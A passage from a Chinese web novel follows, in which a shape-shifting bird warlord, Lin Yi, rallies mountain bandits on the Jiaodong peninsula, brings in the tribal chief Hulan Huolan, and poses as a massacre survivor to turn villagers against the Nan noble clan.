林一把他放下来,拍了拍他身上的雪渣,哑着嗓子说道:“恁们上山来,就是想活,都是上过绝路的人,但是你们就想这么活着吗?裤腰带勒到肋巴骨,一天吃俩窝头就树皮草根,等哪天病死饿死,化在山里一捧土?这条烂命,就不想拼一拼?不想着翻身了?” 五百个面黄肌瘦的喽啰在寒风里打着颤,不是冷,是被她说得血热到几乎晕眩。 “你们有啥?光脚的怕上穿鞋的了?打到世家窝里,死也溅老爷一身血,好不好?跟着我,我不死,你们中的绝大部分人,死不了,要是有上辈子拉屎不洗手,这辈子手气奇差的倒霉鬼……别笑啊!干仗没有不死人的,全甲的骑兵也会被一箭射到眼窝里,俺给个话撂这儿!有娃的给你娃拉扯大,有爹娘老子的,养到老死打一副好棺,了却生前身后事!” “兄弟们,还有大姐妹子的,我看到了,别躲着,进了山的都是绝路人,你们怕啥?我就问大伙儿,愿不愿意跟我干!跟着我!林老大!把胶东干下来,把兖州干下来,把咱们自家的地抢回来?愿意的就吱声!” 喽啰们抖得更厉害了,不知是哪个先应的,带着哭腔的,压抑着极大兴奋的,一声颤音:“好……” 随后整个匪窝都沸腾起来,光比谁的嗓门大了。 老四喊得声音最大,喊完摸摸身上的伤又冷静了,回头撺掇撺掇甄及,“大锅,介新老三都快抢过你的把子了,她咋这能说呢?” 甄及没应声,老四一回头,看到甄及浓眉大眼的,眼眶含着深沉的泪水,这样子简直像是想要那个啥。 就说书的经常唱的那个……以身相许还是啥玩意儿来着的? 甄及拨开人群,纳头就拜,什么老三不老三,什么抢不抢把子的,现在我老二了,你老五了!这把子要换老大扛了!想我半世草莽,今生只识得这一个英主!要是怕死错过了,余生就只剩下匪窝子里啃窝窝头,想着自己这条烂命当初要是舍得抛……不,不!绝不!老子要跟她!老子跟定她! 第118章 当老大这种事,不是一回生二回熟,没当过老大的人是不能理解的。 算师有时候会算“王气”“紫气”这种东西,但归根结底这是一种人格上的魅力,排你前面领窝头的人压低声音说晚上咱们出去干大事,你第一反应可能不是杀人,而是他准备伙同你去偷更多的窝头。 但一个慷慨的,带了二百斤加了盐的牛肉,把你嘴巴和肚子填饱的人过来和你说,走,跟着她干事去,你会想到更多的肉,从而听从她的话。 哪怕肚子里没吃到肉,带你去领窝头的人和带你去吃肉的人也是不同的,前者是同伙,后者是老大。 大泽山这种破地方,一天能给发一个窝头的甄及是老大,现在来了更强的林老大,跟谁还用说吗?大部分的人并不怕死,只怕孤零零的死,当人处于群体之中的时候,死亡这种概念其实离得很远很远,取而代之的是一种群体性狂热。 史官往往没当过老大,会很轻易写“驱市人为战”“啸聚万余”“募勇三千”,实际上能搞起这些的,都是身负“王气”之人。 晚上,林一就带着甄及骑马出山去勘探周围情况了,虽然甄及也能说给她听,但林一每次打仗之前必须是要亲眼看看地方的,然后她回来开军事会议,地图也是自己手绘,在打仗之前把所有有利自身的东西聚集起来,这才是军事的奥义。 “咱附近是两个大村,窝子村和三溪村,三溪那边不怎么来往,窝子村其实……”甄及话没说那么透,就是通匪村呗。 大泽山匪们有不少还是窝子村出来的,春天会回村下地,冬天山里断炊了,也有回家里头过个把月的。这种村子一般过得还行,因为穷没油水,欺负到他们头上还会招惹土匪,不划算。匪窝附近还能安生种地的,基本上都是通匪村。 林一观察了一下窝子村的地形,又去三溪村看了看,这会儿她的马已经撑不住了,林一就把马和甄及的马拴在一起,让甄及骑马,她走路。 甄及慌得不行,他已经认了老大了,怎么老大下马他骑马?这不应当啊! 林一按住他的腿,“行了,别闹,周围看过了,地形还可以,恁先回去,俺明天早上回。” 甄及忙道:“夜里头孤身一个,很危险……” 林一压根就没理他,甄及这个人吧,他有点头脑,能带五百个人在山里过活,冬天还能每人每天发个窝头,是有点本事的,但是他说话常常不过脑子,是挺急的一个人,然后往往话说出去了脑子才转起来,又急忙补救。 下属不太得力,看来得弄个人来带带,林一撵走甄及,想了想,在天神之鞭和呼兰霍兰之间琢磨了一下,为了防止她回来之后天神之鞭迷路到莱州湾,还是霍兰人老实些。 而且说实话,在匪窝子里头,韩小六那瘦猴身板不大容易起威信。 一月份,雪域一年之中最冷的时节,今早从暖房里睡醒,呼兰霍兰例行……没什么事情做,和大部分部落不一样,呼兰部落是族老与族长共治,倒不是说族老有多老,最年轻的女族老今年才四十呢。而是族长通常是呼兰部落里的武力第一人,从很多年前就有呼兰先祖琢磨出了拳头配脑子的配置,族老通常是部落里脑子最活泛的一批。 早饭羊奶配两碗青稞,呼兰霍兰来到黑帐,里头已经有妇人在打羊毛线,这是从苏赫部落那边传来的手艺,呼兰部落还得到了几架织机。羊毛衣非常保暖御寒,但是呼兰霍兰不穿,羊毛很脏,搓线的时候也不会特意去油,或者说保暖有时候也靠这些,然后穿身上就带一股羊味道,呼兰霍兰试过一次就不穿了。 他也不知道鸟的嗅觉怎么样。 在雪地里撒一泡隔夜尿,呼兰霍兰离尿坑远了些,直接把身上白熊皮衣解了,内里细麻的衣裳一撸到底,然后开始洗雪澡。 他肤色深,但不是那种黝黑的,还算黑皮,雪里映着肌肤的光泽。他很高,有的人高但是骨架撑不起来,就会像细竹竿,但呼兰霍兰的高大是整体的,所以胖时就像一座山,胖得触目惊心……但现在,多余的脂肪褪去,显露出线条流畅的虎背熊腰。年轻的族长肌肤弹性好,丝毫没留下胖过的褶皱,其实他少年时也是这样,冬天吃肥壮,夏天消瘦回去,然后冬天继续屯脂。 但是,胖不好看,女人喜欢好看的。 呼兰霍兰很有毅力,在冬天也维持住了正常的体型,可是自从雍西战后,她没有再来看过他。 洗完雪澡,身上仍然不冷,呼兰霍兰敞胸露怀,熊皮半披在肩上往回走,其实也没几步,现在部落到处都是砖头屋,就不生火炕,进屋也比帐子挡风,有女族老迎头看到他,还笑着道:“霍兰啊,苏哲用糖炒了米,等会儿来家里吃点——别!别穿!” 这话转折有些快,呼兰霍兰有些莫名其妙,雪域的寒冷不是开玩笑的,就算准备进屋了,他也在展开熊皮衣准备套上了,但族老的智慧不容质疑,他停下动作,然后顺着女族老目眦欲裂的表情回过头。 天空上一只巨鸟盘旋,似乎在找个落脚点,呼兰霍兰马上认了出来,雪域没有第二只这么大的鸟。 林一一落地就看到呼兰霍兰大步朝着她走来,身上穿条皮裤子,肩上搭着白熊皮衣,但是穿和没穿一个样,或者说披了那点简直更加骚情。他整个的上半身都露在外面,宽阔的肩膀,强壮的胸膛,腹部的肌肉线条起伏如龙,随着走动,那股肌肉的爆发感越发强烈。 两米八的大鸟马上热情的迎了上去,一侧翅膀展开少许,把青年拢在身侧,口吐人言,“嗨呀!这么冷的天,雪地里头,怎么不多穿点,真是就是笨笨的,都不知道照顾自己。” 呼兰霍兰只觉得迎面一股热烘烘的热气,鸟的翅膀底下非常干燥暖热,也有气味,但比羊膻味略淡,有些像是下了雨后的毡帐。他脑子顿时就不会转了,任由林一把他夹在翅膀底下往不知道哪里带。 女族老心里大喜,连忙招呼林一说:“可敦这边来,我们砖屋盖得都矮,就霍兰的屋子又高又阔……他个头高嘛,住矮了憋闷。” 嗯……一米九的个头,其实不用住三米多高的砖屋。但是林一挺高兴的,她现在很适应鸟形,可是能容她走动的地方并不多,苏赫部落的黑帐是本身就很大,然后辽东郡守府重建的时候专门挑了高度,现在有个这么高的屋子,她也就懒得回人形了。 进了屋,林一抬高翅膀,呼兰霍兰还沉浸在她羽翼下的温暖,女族老踢了他一脚他才反应过来,离开林一的翅膀。 “我准备去杀羊,再杀个骆驼。今天是……我阿父死掉的日子,魏朝、好像庆祝这个。”呼兰霍兰干巴巴地说:“今天很丰盛,在呼兰部吃吧?” 女族老眼前一黑,帮他找补,“那、那是忌日,可敦,魏朝的忌日,都是大摆宴席请客吃饭的,难得可敦今天过来……” 林一其实挺高兴的,她就是准备再弄点吃的补充消耗的,但是刚要笑就听见“阿父死掉的日子”“庆祝”,嘴巴就闭上了,她总觉得和呼兰霍兰的沟通怪怪的。 但是吧,她咋听说魏朝的忌日,也就是先祖去世的日子,那天是禁止酒宴和热闹欢庆的呢? 啊,不管魏朝的先祖怎么想,总之呼兰的先祖很高兴啊,下了好几天的暴雪在中午的时候停歇,天朗气清,雪地被清扫出来,很快就烤上了骆驼。 炙烤驼峰和羊奶配着吃,这可比王澈琢磨出来的喝油好吃得多,而且能源也补得很快,林一不啄食了,脖子伸长,嫩黄的鸟喙张着。呼兰霍兰就坐在她边上,时不时把食物切成均匀的分量一把把填进去,忽略掉他乌黑的眼眸里闪动着光辉,这画面其实挺像填鹅…… 林一吃完两个驼峰,打了个饱嗝,直到这个时候,呼兰霍兰才小心地询问道:“可敦的羽毛里有很多羽管,是要长新羽了吗?” 他挺委婉的,因为林一现在的形象是这样的:黑羽里夹着大面积的毛毛糙糙的白羽管,而且没有一根羽管出新羽,羽管和黑羽的比例差不多是3:1,羽管3,黑羽1,她远远地看起来像一只黑白花的芦花鸡,当然呼兰霍兰没见过芦花鸡,但他养过鸟。 林一鸟瞳动了动,谎话张口就来,“啊对,我每年都会长一批新羽,这不是雏鸟换羽,就是……就是为了防寒保暖的,羽毛换得快。” 呼兰霍兰点点头,又询问道:“这次,可敦寻我,有用我的地方?” 林一嘴巴张成菱形,像是个笑,翅尖拍了拍呼兰霍兰,“嗨呀!就知道你上道!领你去干大事,干不干?” 呼兰霍兰也笑,点点头。 第119章 胶东半岛有两个王氏,东莱王氏和胶东王氏,两家是一个祖上,周朝时期灵王太子姬晋之后,只是东莱王扎根更深,胶东王则逊色一些,但两家同为东莱和胶东的郡望。除此之外,最出名的琅琊王氏也溯源至姬晋这一脉,属于王氏的主要源流之一。 林一载着呼兰霍兰来到胶东半岛的时候,特意绕路去看了看这两家郡望的祖宅,这没啥意义,打起来的时候这些宅邸还不如一段城墙管用。但,有一些族中的强盛分支已经在仿中原、河北和关中等地区现在比较普遍的世族坞堡,建立了一些营寨围壁之类,往往垒石砌墙,比城墙修得还坚实,就是容量小一些,普遍不能容纳超过千人藏身。 在没和魏朝开战之前,林一作为一个外星鸟,所设想的世家大族差不多是千八百个人,占据一个郡大多数农田,压迫农人为他们种地,自己过着奢华富贵的生活,而处理世族就是把这些人拉出去砍头……当然,辽东那边确实是这样做的,因为辽东其实没有真正的“世族”。 但胶东半岛这自古富庶之地,王氏耕耘数千年之久的地盘,世族的含义非常非常不同。 清晨,林一和呼兰霍兰走在街市上,这里是即墨城,胶东郡治,往来多海商,而这些海商卖的往往是干货冻鱼。倒不是说大城百姓不爱吃鲜海货,而是海商卖鱼获其实卖的不是真的鱼。 “闺娘,买鱼啵?鲜亮儿刚上海里捞滴!若要咸泛儿滴,得添三成银儿!都是顶好滴海物!闺娘?”一个卖鱼的老婆婆吆喝着,偷偷摸摸把咸鱼翻面给她看。 咸鱼正面只是普通的干鱼模样,但翻面过来却是抹了一层厚厚的海盐,卖鱼老婆婆压低了嗓,“闺娘,俺跟嫩说,嫩得早些儿买,过午衙役就来查喃。” 林一摆摆手,她不吃这个,老婆婆又说:“恁价男人个高又壮,咋能不切盐,便宜嗷!” 呼兰霍兰摸了摸身上,掏了一把用来切肉的铜刀,反折了刀把,刀刃揣回去,纯铜的刀把递过去,简单地道:“两条。” 老婆婆嗖得一下就收下了铜刀把,挑了两条抹了厚厚盐巴的咸鱼递给呼兰霍兰,还不住地夸:“这闺娘长得好看喃,找个男人也好,这壮实的,模样也俊,舍得钱花!” 林一皱巴着脸看着两条咸鱼,她要吃鱼自己下水就捞了,鱼这东西不用做熟生吃也好吃,反而是抹了盐又干巴的,是真不好吃。 呼兰霍兰走路姿势很僵硬,提着两条鱼像提着两个死不瞑目的人头,迎面出街市口就看到衙役呼喝搜罗着,回头一看老婆婆已经跑得不见人影了,看到比人群高出一截的林一和呼兰霍兰,衙役们反而就当没看见,绕着两人走。 转了一个早上,回到大泽山,林一把呼兰霍兰介绍给土匪们,甄及都懵了,看看呼兰霍兰,再看看自己和一众喽啰们……不是,这大锅就是*传说中的猛将身板吧?他怎么感觉寻常五六个人上去根本弄不动这位大哥? 事实上,高估……土匪们了。 呼兰霍兰听得懂魏语官话,但胶东方言就只能听得懂一些词汇了,好在他说官话,土匪们也能懂,林一把他放下来,他把咸鱼也放下来,然后朝众人伸出三根手指向上动了动:来呀。 呼兰祖训第九条:族长打服所有人。 林一也不管,找了窝窝头两兄弟(因为她吃十七个窝头而嚎哭的那俩个少年匪),反正打架也不会打这两个细豆芽,把咸鱼交给他们,待会儿她把早上在野外弄的几个猎物拖回来,今天也是吃大锅肉的一天。 然后她就找了块石头坐下来看呼兰霍兰吊打大泽山匪的并不精彩的画面。 有马的土匪都是首领,从大锅甄及到十七锅老姚,老姚闭着眼睛往上冲,挥舞的是王八拳,呼兰霍兰都没用两只手,一肘向下锤在他肩膀上,老姚就惨叫一声坐雪地里头了。 十六锅咽了咽口水,手里一把干雪,想先撒霍兰眼睛里再扫堂腿,然后就挨了一腿。 十五…… 十四…… 到老四的时候,这狗人眼珠子转了转,回头对林一说:“林老大,这实在是不成嗷,你男人壮得很,下手又黑,你就看着他打人喃?咋就知道心疼自家男人喃?” 林一嘎了一声,刚要说话,呼兰霍兰给了老四一掌,把他打雪坑里头了。 老四咧嘴点头哈腰,拳头打得疼,巴掌下来就分散力道了,他就是觉得脸有些热乎麻麻的,疼倒是不怎么疼,跟那些至少挨了一记重拳的家伙完全不同,这位大锅手下留情了! 这种车轮战,甄及平时压根不屑为之,但今天他每看着倒下一个兄弟,心里就咯噔一下,是真的咯噔咯噔一只咯噔,终于老二也惨叫一声后退,呼兰霍兰乌黑的眸子对上了他的,甄及吞了一口口水,也回头看了看林一。 林一摊开手,“恁是大锅,干啥一个人和他打,上,都上!五百个人还摁不动他一个?” 甄及马上就艹了一声,合着没说规则啊!他谨慎地没上前,然后登高一呼,“兄弟兄弟!大伙都上,今天妈的……爹的都给我上!摁住他吃雪!” 换个人也许就要骂骂咧咧了,但呼兰霍兰并拢的腿微微分开下压,重心下沉,是个半马步的姿态。众人一拥而上,他分神看了一眼搞事的林一,眼睛就弯了起来。 五百vs一个,结果是真的会有B选项! 首先一个人的目标小,围上去的最多六七人,其他都只能在圈外,反而这种一拥而上最容易搞误伤,没有兵器的情况下,无力的拳脚对呼兰霍兰的伤害等同于无,反而是他一拳一个,拳头落下胳膊后抵,肘弯就能再带走一个。 群战无非是体力消耗太大,围殴到最后,雪地一片灰,呼兰霍兰喘着粗气把甄及举起来往厚雪里一扔,他身上的衣裳都被众人扯掉大半了,脸上身上各自带着几道指甲红痕。他大步大步走向林一,精赤的胸膛上下起伏,脸上带着红潮,第一次在林一面前声音放大,“我!赢!” 他那乌黑的眸子里满是情动的光泽,雪山和光膀子男人真是一种绝配。 林一眼神飘移了几下,“啊对对。” 她忽然绕开呼兰霍兰的身子,羞恼地上前几步,指责甄及:“一点章法都没有!五百个人打出五个人的效果,今天饭后都开始加练,加练一个月!” 甄及躺地上,算是回过味来了,这被带来的大锅可能并不是老大的男人,不然这个时候过来骂他干啥?把这狗男人拽屋里头去啊! 接下来的一个月时间,林一回了两趟雪域,去了一趟辽东,为接下来胶东半岛的事做好一切战前准备,她当前不会纯靠着五百土匪起家,她分别和在雪域的王澈还有在辽东的崔殊进行了非军事领域的问计。 崔殊建议她再冒一个身份,对于半岛这种地形而言,一个外来者很难话事,这一点早在打辽东时林一就已经注意到了,师出要有名,有名之师能得乡民爱戴,她用萧玲珑的身份,也确实兵不血刃拿下了一些地盘。除此之外,他建议在战时拉拢一些中小世族,拉一批打一批,将世族之间的阶层直接化为矛盾。 王澈没有在这方面给建议,但他认为适当地可以烧毁一些东莱和胶东的粮仓,而且打速战的话,要有足够威慑性。他非常懂世族,当一个世族遇到极大威胁的时候,族中会有很多不同的声音,你越强,世族里的投降派就越多,因为世族永远有退路。除非你是只要抢掠不要治理的流民,否则到最后,你仍然需要世族的官员来治理地方。 他话说得委婉了,但字里行间只透着两个字:屠戮。 天水贼之乱后,各地流民起义的情况立马减少,这就是因为江骋的刀子太狠了,他不收流民,不要降兵,旗帜鲜明,作乱者屠,流民惧怕当地守军效仿,因此乱局有了安定下来的迹象。 林一日常当王澈放屁,每个人的屁股位置不一样,但王澈压根就没屁股,你向他问计,他就斟酌利弊,提出最有利的东西,是个纯纯的功利机器。他不站世族,也不站平民,他甚至自己都不站,每天坐轮椅上装瘸玩。 但是卧龙凤雏的计策日常可以结合起来看:冒一个师出有名的身份,打速战,手段要狠,拉一批打一批,对世族同样使用“围三阙一”之法,让他们以为有退路可走,内部先进行一波分裂,再逐个击破。 林一被自己(?)的计策给感动到了,她这个漂亮的鸟头是怎么长的,为什么总是能得出这么好的战术方案? 那么什么身份比较合适呢?再薅萧玲珑一波吗?可是王权偏远之地,连萧老头自己来了都可能直接溶于水,公主的身份好像也不咋管用。 正直可靠的林一摸着男人的腹肌,琢磨了起来。 第120章 大泽山匪们今天的晚饭是几只兔子,两只野鹿,加入呼兰霍兰用铜刀把换的两条厚咸鱼,每人分得一碗汤,还有加倍的窝窝头。 就这些人瘦巴巴的样子,林一实在是很害怕他们出去打仗,没打死人之前自己先累垮了,好歹先把脸上血色养出来,她不着急这些,她光是打猎就够养活这些人了,何况还要加上呼兰霍兰呢。 吃完晚饭,土匪们横七竖八坐着躺着斜着的都有,实在是吃撑了,久饿肚子的人饭量会变小,林一就看到负责打饭的一个女人,她个头矮得刚过马背,乍看身形还以为是小孩子,看脸才晓得过了三四十岁了,像这样瘦小的土匪有不少。 今天山雪平息,傍晚时分就有不少村人上来说话,有的是给家里人送些粮来,有的空着手,还等匀半个窝头喃。最心疼娃的是一对老夫妻,就是那对窝头兄弟,两人吃了顿饱饭正歪着打嗝,就被塞了一包袱的冬枣和甘薯。 林一看到甘薯,马上支棱起来,指着问道:“老人家,介是哪里来的?介在胶东已经种上嘞?” 她不可能认不出甘薯啊,这玩意儿的种子还是她偷、拾来的,当初在雪域种不起来,那会儿手里只有辽东,她就搬运了不少回,让辽东种上了土豆、甘薯和苞米。这东西放在别的地方,林一或许以为可能她遗漏了,没发现魏朝本土也有这玩意儿,但是胶东啊,和辽东有海路可以走的。 老夫妻看她高壮,脸白皙长得好,吓了一大跳,但是看到甄及又缓过气来,那老头就按住老妇人,上前一步点头弯腰地说:“回女大王的话,这是甘薯啊,俺家老大跑船的,从辽东运的一船货,他给自家留下点吃,结果这好种嘞!切一些种下去,冬天差不多能管饱……” 林一就咧开了嘴巴。 窝窝头两兄弟连忙掏出一只甘薯来,在衣裳上擦了擦孝敬给林一。 林一就意思意思吃了一个,老两口挺高兴的,土匪也是个活计,到哪都得把上头人打点好了,这位女大王一看就不一般,能记住他们家两个小孙儿,这才是大事。他其实让让两人把一包袱都拿出来才好,但是窝窝头两兄弟把包袱抱得很紧。 找了个石头当墩子坐,林一又问道:“看来家里年景还行,能管饱,恁俩咋还把孙子送山里头来?前几天的事,娃娃饿得直哭!” 她是有些鹦鹉天赋在身上的,学不来大篆小篆那种东西主要也就是因为先学了简单的隶书,然后就回不去了,现在学胶东话已经像模像样,而且听得懂了。 老两口有心奉承,两人都是赔笑,还是那比较撑场面的老头回的话,“女大王不晓得,上山有时候是避祸事的,俺们是窝子村的,隔壁的三溪村,前些时日出了事儿!” 窝窝头两兄弟本来在分冬枣甘薯,听了这话脸上的笑都拉平了,哥哥王栓子握紧了拳头,弟弟王柱子忙塞了颗枣在他嘴里。 “咋个说?他俩惹啥事了?打死了人?”林一马上看了看两人。 那老妇人嘴快,忙道:“哪里话!俺孙儿乖得很,是隔壁三溪村的白家出的事儿,闺娘你不知,三溪村的村长白家旺,他家里头闺娘一个,心气高得很,瞧不上村户人家,想往城里头嫁,然后嘛,那天可巧在水边拾了个男人!” 林一嘎了一声,露出非常感兴趣的表情,“拾到男人?拾回家了?那男人愿意吗?” 要不说女人之间才是最好聊的,老头想插话都没插进去,老妇人露出一个“你懂的”眼神,又摇摇头,“白家闺娘生得不丑,她自己愿意,男人哪有不乐意跟女人睡觉的?唉!祸事就这样来的!不过她也就是不丑,要是你这样的漂亮闺娘,可能后来就不那样喃!那男人被拾回去的时候,他穿的衣裳就跟别人不同,一眼望得出来,是世家的公子爷!” 林一又嘎了一声,压低声音道:“世族棒打鸳鸯了?” “哪里是!”老妇人皱巴着脸,眉毛飞舞,怒气冲冲,“这话也就在匪窝子里讲讲,那男人不晓得是哪家的,他昏在水边可能撞着了,脑子不灵便,吃饭睡觉说话还是正常的,就是想不起来自己叫哪个,他还记得家里在哪,即墨城!” “然后白家闺娘就铁了心要嫁,她不嫁也没法子,她叫那男人哄着睡了啊!事传得很凶,他家长工一早上起来就看到男人从闺娘屋出来走,到处说。白家旺没得办法,他可能自己也想攀点,拾了人不到三天,他就办起酒席来,吃得不错,头天杀鸡杀猪的,好几个村都有人去,俺都说了不去不去,去了要出礼的喃!可是俺家老头非说叫娃去见见世面,吃顿好的,嘿!可差点送了命嘞。” 老妇人一手按着林一的肩膀,一手对着两个孙子指指点点,“吃了酒席回来的路上嘛,就遇到一伙世家兵,那公子爷见到自家人脑子就好起来了,你猜他说个啥?” 林一真猜不出来,窝窝头两兄弟脸色都不是很好,哥哥王栓子声音哑哑的,带点哭腔:“说——村女辱我,今日酒席宴下,举凡宾客,鸡犬不留。” 或许是印象太深刻了,王栓子把那句话学得非常像,不是胶东方言,而是很纯正的四声八调洛下音,绝对世族的口吻。 然后就是一场屠杀,窝窝头兄弟因为离席比较早,是在白家院子门外听见这话的,弟弟当时还下意识地回头看,就看到世家兵拔出寒光闪闪的刀剑四处挥砍。白家小娘第一个被砍中面门,血溅盖头,然后是吃席的宾客,四处都是哭叫人声,他们两个当时不知是哪里来的气力,转头就跑,有一骑盯上了他们,但是没带弓箭,一人一马就在后面追。 村里地不平,两人特意往兔子窝多的地方跑,不知道跑了多久,听见后面一声惨叫,马在兔子洞折了蹄,那世族部曲从马上摔落,疼得一时起不来。那时候两兄弟对视一眼,一前一后,有些呆滞地一人去夺刀砍,一人去举石砸,把那部曲活活给打死了。 林一长出一口气,赞许地点点头,“杀人灭口,他见过你们的脸,放了他死的就是你们,既然宾客都被杀死,那唯一可能认得你们的就是那个世族公子,他不可能挨家挨户去找你们……这样你们其实不用上山的啊。” 老两口叹气摇头,“哪个敢冒险哪,家里这两根苗苗,万一叫人捅出去了,他们可算是被通缉了。” 林一脑子里头灵光一闪。 打半岛这种封闭地形,外来人的身份可能会引发群起而攻之,尤其“雪域异族”的身份更加敏感。当然世族怎么想她暂时还没考虑,可是村里农人这些占绝大部分人口的成分,他们可不能被组织起来抵抗她啊!那么什么身份会让他们不仅不会起敌意,反而还能暗地里同情一把呢? 林一揽过窝窝头两兄弟,嘴巴砸了砸,流里流气地指了指自己的脸,“栓子,柱子,俺长得像不像白小娘?” 两兄弟和老两口都愣了,不远处几个土匪首领也看了过来,甄及挠了挠后脑勺。 但是窝窝头两兄弟被揽着,意识还挺清醒的,马上摇摇头,因为被揽得太近了,两人头还撞了两下。 林一继续循循善诱,“那天的宾客都是白家的相识,也就是说,没去的通常不认识白小娘对吧?村里大户的闺娘一般也不下地给人瞧见是吧?所以现在的活口就是你们两个,还有那家世族公子爷和部曲,他们是一方,我们是一方,剩下的死无对证。” 两人还是没听懂,睁着两双清澈愚蠢的眼睛看着林一。 林一一人给了一巴掌打在脑壳上,瞪起鸟瞳,怒声说道:“俺拾个男人,水边啊!他那不是一个翻身就淹死的吗?这叫救命之恩,又睡了觉对吧?俺一个黄花大闺娘,委屈了他咋?这负心寡情挨千刀的狗男人,杀我全家老小,亲友宾客,俺侥幸未死,如今带着一众兄弟攻打即墨城,俺发誓要拿回属于俺的一切,为那日……那日多少宾客来着?” 王栓子张大嘴巴,但下意识地在林一威势凛然的眼神下回答道:“一、一百六十多口……” 林一放开他们,一脚踩在灶台上,登高一呼,“好!为那日一百六十口子性命讨一个公道!大泽山众兄弟!谁愿随我去战?” 远远近近的土匪们其实没听到老两口说的三溪村事,反倒是林一的嗓子嚷得大,不少人聚拢过来群情激愤,怒气汹涌。 “原来老大是三溪村白家的那个小娘!真是惨绝人寰,打!打他妈的狗世族!” “老大说得对!咱们不做狗熊,人死鸟朝天,溅他一身血,不过老大这命真是有些……唉!” …… 甄及可是看完全程的,他看了看林一一脸怒色,都傻眼了,一回头看到明明是林一带来的呼兰霍兰也在人群里,握紧了拳头也跟着怒吼起来,双眼充血通红,凶戾如虎狼之怒,整个人都对那个世族公子爷充满了仇恨。 不是,哥们?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 第121章 二月初,一年之中最冷的几个月之一,胶东这边的气候暖热,冬季少霜雪,春夏时膏壤千里,桑麻遍地。要不是今年来得巧,林一其实很难在胶东看到大雪。 今日是个难得的大晴天,从莱州湾来的驮队在船老大的带领下手提肩扛,带着一筐筐的腌制海货上车,走了快三百里的路远来即墨贩卖。 “兄弟们看上去不像海商,像海里讨食儿的啊。”一个胶东口音的声音从不远处传来。 船老大王发循声看去,吓了一大跳,只见山坳里远远近近五六百号人或站或蹲或骑马,明显是土匪赶路途中在歇脚,他很谨慎地说道:“都是莱州湾那边的老海飘子了,今年海商给价太低,俺们自己走走路,多费几双鞋的事……也不值钱,不值钱,大王们若是要……” 再谨慎的人,也忍不住心如刀割,王发嘴唇抖了抖,硬是没吐出下一句来。 甄及连忙喝斥,“哎!哪个要恁的鱼,别乱说话啊!俺们是三溪村民,来城里是有正经事儿,可不兴说俺们是土匪啊!” 船队里的海漂子们都愣了愣,看了看甄及标准的响马打扮,还不光他一个呢,十几匹马几百个喽啰,就这能是村民,能是啥好人? 林一没骑马,她的体重马驮着走不了多远,连人带马推了甄及一把,非常自来熟地揽过船老大的肩膀,压低嗓音说道:“大锅,恁不要害怕,事儿是这样的……” 她把三溪村白家的事又说了一遍,这次是真的咬牙切齿真情流露,没有虚假,她真是觉得那些人倒了大霉,感情纠葛且不去管他,也别管白家小娘和那世族公子谁有理,可人家来吃席的招谁惹谁了?一百六十口子人哪! 林一说完,沉重地拍了拍王发的肩膀,说道:“这些兄弟是我喊来的,他们义薄云天,要为白家和三溪村讨一个公道!并不是拦路的土匪,俺看大锅是个颜面大的,沿途遇到人,可千万别喊俺们是土匪……” 她拱了拱手,从甄及那里学了些胶东的江湖气,脸又生得白皙优美,那船老大王发见真不是要抢他的鱼,肩膀松了松,也拱手相让,承了这个礼。 土匪们接着上路,林一不是只和船老大说,她是见到一个像模样的队伍就上去揽肩膀拉家常,把自己的血海深仇说了三五十遍也是有的。 一个早上的时间,土匪们人还没到即墨城,即墨城里的海商、劳工、渔民还有早上出门采买的仆从管事就都听说了这震撼的八卦。要是那白家小娘死了,这只是世族少爷的一次不快经历,可她没死,还拉了几百号人过来讨公道!有人感叹恨海情天,有人纯是想知道这是哪家公子的事,还有的脸色大变,马上回去报告。 即墨城南氏,姓氏起源为春秋时期鲁国大夫南蒯,他在鲁国发动叛乱,失败后便逃亡齐国,有一支子孙就流落到了胶东半岛,在此地生根发芽。但和东莱王,胶东王这种顶级郡望完全无法相提并论,属于比上不足比下有余。 一年前,南氏家主的幼子南约在一场春日宴中答辩如潮,以一句“我观诸位,如观青山,青山观我,难道粪土?”得到渤海孔氏一位大儒的看重,称他为胶东潜龙,雄辩之才,将他收为弟子,今年已经在为他运作“洛阳月旦评”的上榜事宜。如果有人不记得月旦评的话,那么大概应该还记得王澈那“月下公子,青阳晚夜”的点评,再不记得的话,那也没有办法啦。 但是月旦评在魏朝却是非常非常重要的一项世族争赛,而且不是任何人运作运作都能上榜,这有专门的评选标准,评委通常都是两位以上身居高位之人,被点评的人通常会在接下来的几年内吸引无数关注,仕途通畅无阻,甚至有人会专程前往拜访探看。所以为了月旦评的含金量,这玩意儿绝不可能让平庸无能之人上榜,当然,想运作是有门路的,但也至少要一样特长。 几年前的王澈暂未露锋芒,他主要是姿色特长生,公主保送入选,这对世家子来说……当然是一项很强绝强超级强的能耐啊! ╮( ̄▽ ̄)╭ 南约的强项也在这方面,他貌若玉人,自小未定婚约,也有南父的好友想定下这个女婿,都被婉拒,因为南氏对南约的婚事定位,可不是同等甚至低于南氏门楣的女郎,目标是大世族!一品大世族! 所谓齐大非偶,那是傲得不知道自己姓谁了,南氏这样在胶东郡算不上拔尖的世族,几代才出一个南约这样出彩的儿郎,是压上全族的筹码来为他博个出头之路的,一个好岳家可以补足南约的家世缺口,在拜师之后,已经有大世族透了口风,也有胆大的女郎向他绣帕传诗文。 在他和几名友人冬猎出事的时候,整个南氏上下都急疯了,接着人是找到了,却因为撞伤脑袋思维混沌,在一个破落村户家里被按头和村姑成婚! 南约意识清醒的第一时间,就下了必杀令,如果不是怕屠村可能被人查出把柄,他真干得出来,不过杀尽宾客也足够让村人闭嘴了,事后数月,毫无风声。 然后今天就来了个大的。 南家主找到南约的时候,都急疯了,南约淡淡一皱眉,问道:“阿父何事如此失态?” 南家主气喘吁吁,恨声说道:“约儿,你事未做全,那三溪村的下贱村女不知从哪里冒出来,带着几百个刁民往即墨赶来,说要讨个公道!” “不可能,我亲眼见她死的。”南约斩钉截铁,因为不光是亲眼见到,那时白小娘被刀砍面门,盖头遮面,他就站在旁边,然后看着两个部曲在白小娘的心口肚腹和腿动脉处各斩三刀,他是真恨自己遭了玷污这事。 南家主可没亲眼看到,这会儿大冬天的,急得脑门冒汗,“现在全城都知道了,纸包不住火了,约儿,王氏六娘那边……” 南约按住父亲,只是稍微一想,马上说道:“就算白小娘死而复生,她也不知我姓名,找到南家也许可能,阿父不要忧愁。素书,去叫圣弟过来,我有些话交代他。” 南家主也不笨,这事严格来说到不了最坏的那一步,首要是不要让事情和南约沾边,相比起来,找个人背锅是最好的。 他整个人长出了一口气,又咬牙怒道:“圣儿的名声……都是那贱妇的事!今日众目睽睽且不做声,等事过去……我要削其手,断其足,剥其皮!” 他们还想着名声的事儿喃! 